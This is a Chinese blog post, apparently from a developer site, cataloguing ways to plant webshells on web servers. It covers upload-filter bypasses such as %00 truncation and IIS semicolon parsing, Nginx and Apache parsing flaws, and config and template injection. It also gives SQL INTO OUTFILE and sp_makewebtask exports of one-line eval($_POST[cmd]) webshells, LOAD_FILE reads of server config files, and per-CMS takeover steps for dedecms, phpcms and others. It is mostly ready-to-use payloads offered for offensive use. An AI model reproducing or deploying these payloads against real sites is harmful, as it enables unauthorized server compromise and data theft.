拿shell的一些方式

管理权限拿shell

需要有管理员权限才可以拿shell

如织梦cms

数据库备份拿shell

网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等

但是网站具有备份数据库备份功能,这时我们可以将webshell格式先将改为可允许上传的文件格式如jpg gif等

然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式

如动力文章

阉割版cms

  1. ecshop
  2. wordpress
  3. dedecms
  4. aspcms
  5. 良精
  6. 南方
  7. 帝国
  8. phpv9
  9. 科讯

突破上传拿shell

  • 本地js验证上传
  • 服务器mime上传
  • 服务器白名单上传
  • 服务器黑名单上传
  • 服务器filepath上传

 filepath漏洞主要用来突破服务器自动命名规则,主要有以下两种利用方式:
    1、改变文件上传后路径(filepath),可以结合目录解析漏洞,路径/x.asp/
    2、直接改变文件名称(都是在filepath下进行修改),路径/x.asp;.

  • 双文件上传
  • %00截断上传

 00截断的两种利用方式:
    1、更改filename,xx.php .jpg,在burpsuit中将空格对应的hex 20改为00
    2、更改filename,xx.php%00.jpg,在burpsuit中将%00进行右键转换-url-urldecoder

  • 上传其他脚本类型拿webshell

phpweb拿shell方式利用iis6.0文件名分号解析,%00截断

修改网站上传类型配置拿webshell

有的网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp|php|jsp|aspx|asa来拿webshell

利用解析漏洞拿webshell

  • iis5.x/6.0解析漏洞

  iis6.0解析漏洞主要有以下三种:
 1. 目录解析漏洞 /xx.asp/xx.jpg
    在网站下创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做asp文件来解析并执行。因此只要攻击者可以通过该漏洞直接上传图片马,并且可以不需要改后缀名!
2. 文件解析 xx.asp;.jpg
    在iis6.0下,分号后面的不被解析,所以xx.asp;.jpg被解析为asp脚本得以执行。
3. 文件类型解析 asa/cer/cdx
    iis6.0 默认的可执行文件除了asp还包含这三种asa、cer、cdx。

  • iis7.0/iis7.5/Nginx <8.03畸形解析漏洞 

    在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。

  • Nginx <8.03 空字节代码执行漏洞

  nginx如下版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码。
    另一种Nginx文件漏洞是从左到右进行解析,既可绕过对后缀名的限制,又可上传木马文件,因此可以上传XXX.jpg.php(可能是运气,也可能是代码本身问题,但在其他都不能成功的条件下可以试试)。如下:
Content-Disposition: form-data; name="userfiles"; filename="XXX.jpg.php"

  • Apache解析漏洞  

    Apache对文件的解析主要是从右到左开始判断并进行解析,如果判断为不能解析的类型,则继续向左进行解析,如xx.php.wer.xxxxx将被解析为PHP类型。

利用编辑器漏洞拿webshell

常见的编辑器有fckeditor,ewebeditor,cheditor等

fck,ckfinder 一般可以通过改上传目录,利用解析漏洞拿webshell

网站配置插马拿webshell

通过找到网站默认配置,将一句话插入到网站配置中,不过为了能够成功执行插马,建议先下载该网站源码,进行查看源码过滤规则,以防插马失败。

"%><%eval request("aaa")%><%'

"%><%eval(Request(chr(112)))%><%'     密码为p 这里用单引号是因为asp脚本文件中,单引号代表注释,后面的不执行

通过编辑模板拿webshell

通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿shell

通过将木马添加到压缩文件,把名字改成网站模板类型,上传到网站服务器,拿webshell

上传插件拿webshell

一些网站为了增加某些功能会在后台添加一些插件来实现

我们可以把木马添加到安装的插件中上传服务器拿webshell

常见的有博客类网站,dz论坛都可以

数据库执行拿webshell

我们可以通过数据库执行命令导出一句话到网站根目录拿webshell

access数据库导出一般需要利用解析漏洞xx.asp;xml

sqlserver 导出

;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27<%execute(request("cmd"))%>%27%27%27--

数据库命令执行拿webshell

mysql命令导出shell

create table study (cmd text NOT NULL);

insert INTO study (cmd)values('<?php @eval($_POST[value]);?>');
select cmd from study into outfile'F:/phpstudy/WWW/DVWA-master/aaaa.php';
Drop TABLE IF EXISTS study;

版本二

use mysql;

create table x(packet text) type=MYISam;

insert into x (packet) values('<pre><body><?php @system($_GET["cmd"])' ?></body></pre>")

select x into outfile 'd:\php\xx.php'

版本三

select '<?php eval($_POST[cmd]);?>'into outfile 'c:/inetpub/wwwroot/mysql.php/1.php'

进入phpmyadmin

假如知道网站路径

直接执行sql语句导入一句话拿shell

方法:

create table study (cmd text NOT NULL);    //创建一个表名为study ,添加一个列名为cmd 类型为text   不允许为空

insert INTO study (cmd)values('<?php @eval($_POST[value]);?>');   往列cmd中插入数据  ,这里插入的是一句话

 select cmd from study into outfile'F:/phpstudy/WWW/DVWA-master/aaaa.php'; //将cmd列中的内容导入到网站根目录下

Drop TABLE IF EXISTS study;   //删除这个表

假如不知道路径

我们可以推理路径

看PHPmyadmin 中变量推理出路径


路径为 F:/phpstudy/Apache/conf/httpd.conf

则我们可以创建一个表
create  table a(a text);  创建一个表为a   列为a  类型为text;

阅读我们推理出文件的内容写入到该表中

load data infile"F:/phpstudy/Apache/conf/httpd.conf" into table a; //写入表中存在编码问题始终没解决,希望有人懂得可以分享一下

SELECT LOAD_FILE( "f:/phpstudy/apache/conf/httpd.conf" );

 

 

linux下

知道/usr/local/mysql

推测/usr/local/apache/conf/httpd.conf

/usr/local/httpd/conf/httpd.conf

/etc/httpd/conf/httpd.conf

nginx

/usr/local/nginx/conf/nginx.conf

phpmyadmin

写入大文件到表,让其报错

报错时候会把当前脚本根路径爆出来

文件包含拿shell

先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可绕过waf拿webshell

asp包含

1.<!--#include file="123.jpg"-->

2.调用的文件必须和被调用的文件在同一目录,否则找不到

3.如果不在同一目录,用下面的语句

<!--#include virtual="文件所在目录/124.jpg"-->

 

php包含

<?php

include('123.jpg');

?>

命令执行拿shell

echo ^<^?php @eval($_POST['123']);?^>^> c:\1.php

echo ^<^?php @eval($_POST['123']);?^>^> c:\1.php

^<^%eval request("123")%^>^> c:\1.php

普通用户前台拿webshell

  • oday拿webshell   
  • iis写权限拿webshell
  • 命令执行拿webshell
  • 通过注入漏洞拿webshell
  • 前台用户头像上传拿webshell
  • strusts2拿webshell
  • java反序列拿webshell

常见cms拿shell

  • 良精。科讯,动易,aspcms
  • dz
  • 米拓cms
  • phpcms2008
  • 帝国cms
  • phpv9
  • phpweb
  • dedecms

1.良精拿shell方式

  • 数据库备份拿shell
  • 双文件上传
  • 配置插马
  • 修改文件类型直接上传

2.科讯cms

上传后缀名为aaspsp

3.动易cms

  • 数据库备份拿shell
  • 配置插马

4.aspcms

  • 网站配置插马
  • a.asp;.htm分号解析上传拿webshell

5.dz

配置插马

6.米拓cms

导入导出数据库  前提条件,必须有数据库备份功能和权限大
7.帝国cms

 

 

命名成这个的原因,导入之后它会自己解压,然后就成了aa.php成功执行脚本,

内容为

<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

然后我们让它执行一个函数

 

成功执行,此时菜刀也能连接上

 

8.phpcms

第一种方式

登上后台 :点击界面-》模板风格-》点击目录进行辩解

低版本可以,高版本不行

第二种方式

点击phpsso->ucenter配置

配置插马

第三种 phpv9低权限拿shell

点击内容-》专题  添加专题

9.dedecms

织梦可以直接上传,数据刻苦备份,等

 

 

 

 

 




 

  • 5
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值